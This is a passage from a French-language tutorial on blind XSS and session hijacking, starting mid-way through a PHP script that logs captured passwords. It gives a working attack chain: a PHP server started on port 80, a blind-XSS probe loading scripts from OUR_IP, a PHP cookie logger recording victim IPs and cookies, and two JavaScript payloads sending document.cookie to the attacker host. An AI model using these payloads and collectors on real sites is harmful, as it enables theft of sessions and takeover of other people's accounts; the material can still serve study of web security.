```
{$_GET['password']}\n");
    header("Location: http://Server_to_redirect");
    fclose($file);
    exit
}
?>
```

## Détournement De Session:

Les applications web modernes utilisent des cookies pour maintenir la session d'un utilisateur au fil des différentes sessions de navigation..
Cependant si un utilisateur malveillant obtient les données du cookie depuis le navigateur de la victim, il pourrait être en mesure d'obtenir un accès connecté avec l'utilisateur de la victim sans connaitre ses identifiants...
Il y a une sorte d'XSS que nous n'avons pas abordé il s'agit de l'XSS aveugle en gros le payload s'éxécute sur une page ou n'ous n'avons pas accès (formulaire de contact, avis, support...) Alors comment pouvons-nous la detecter si nous ne pouvons pas voir comment la sortie est traitée ?

- Pour ce faire nous allons utiliser un payload JS qui envoi une requete vers notre serveur, le payload demandera un script du nom du "placeholder" pour chacun des champs permettant ainsi de savoir lequel d'entre eux est vulnérable...

[1] On commence par créer un dossier qui servira à mener notre attaque et on y lance notre serveur php:

```
AgentpabRogers@parrot[/XSS]~$ sudo php -S 0.0.0.0:80
```

[2] Une fois le server en ecoute on forge nos payload spécifique au champ cible, exemple de payload trop basique ci-dessous:

```
<script src=http://OUR_IP:PORT/fullname></script> # pour le champ fullname
```

- Une fois la vulnérabilité confirmée, le payload fonctionnel et le champ connu on va passer au détournement de session...

[1] On écrit un script php dans un fichier index.php dans le repertoir ou se situe le server, ce script va récuperer les cookies envoyés les séparer à l'aide d'un saut de ligne et les écrires dans un fichier.

```
<?php
if (isset($_GET['c'])){
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

[2] Ensuite on forge notre payload qui doit envoyer les cookies de la victim vers notre serveur d'attaque ou le script php les formattera et les enregistrera ci dessous deux exemples de payloads:

```
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
```

Ou encore même si moins furtif que le chargement d'une image:

```
document.location='http://OUR_IP/index.php?c='+document.cookie;
```